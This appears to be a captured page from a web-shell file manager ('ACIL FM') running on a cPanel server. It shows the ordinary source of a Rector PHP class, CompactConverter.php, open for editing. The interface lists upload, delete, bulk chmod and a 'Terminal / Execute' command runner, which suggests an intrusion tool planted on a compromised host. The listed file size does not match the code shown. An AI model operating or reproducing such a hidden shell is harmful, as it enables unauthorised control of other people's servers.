ACIL FM
Dark
Refresh
Current DIR:
/opt/cpanel/ea-wappspector/vendor/rector/rector/rules/CodeQuality
/
opt
cpanel
ea-wappspector
vendor
rector
rector
rules
CodeQuality
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
NodeAnalyzer
-
chmod
Open
Rename
Delete
NodeFactory
-
chmod
Open
Rename
Delete
NodeManipulator
-
chmod
Open
Rename
Delete
Rector
-
chmod
Open
Rename
Delete
TypeResolver
-
chmod
Open
Rename
Delete
ValueObject
-
chmod
Open
Rename
Delete
CompactConverter.php
1.75 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/cpanel/ea-wappspector/vendor/rector/rector/rules/CodeQuality/CompactConverter.php
<?php declare (strict_types=1); namespace Rector\CodeQuality; use PhpParser\Node\Arg; use PhpParser\Node\Expr\Array_; use PhpParser\Node\Expr\ArrayItem; use PhpParser\Node\Expr\FuncCall; use PhpParser\Node\Expr\Variable; use PhpParser\Node\Scalar\String_; use Rector\Exception\ShouldNotHappenException; use Rector\PhpParser\Node\Value\ValueResolver; final class CompactConverter { /** * @readonly * @var \Rector\PhpParser\Node\Value\ValueResolver */ private $valueResolver; public function __construct(ValueResolver $valueResolver) { $this->valueResolver = $valueResolver; } public function hasAllArgumentsNamed(FuncCall $funcCall) : bool { foreach ($funcCall->args as $arg) { // VariadicPlaceholder doesn't has name, so it return false directly if (!$arg instanceof Arg) { return \false; } /** @var string|null $variableName */ $variableName = $this->valueResolver->getValue($arg->value); if (!\is_string($variableName)) { return \false; } } return \true; } public function convertToArray(FuncCall $funcCall) : Array_ { $array = new Array_(); foreach ($funcCall->args as $arg) { if (!$arg instanceof Arg) { throw new ShouldNotHappenException(); } /** @var string|null $variableName */ $variableName = $this->valueResolver->getValue($arg->value); if (!\is_string($variableName)) { throw new ShouldNotHappenException(); } $array->items[] = new ArrayItem(new Variable($variableName), new String_($variableName)); } return $array; } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply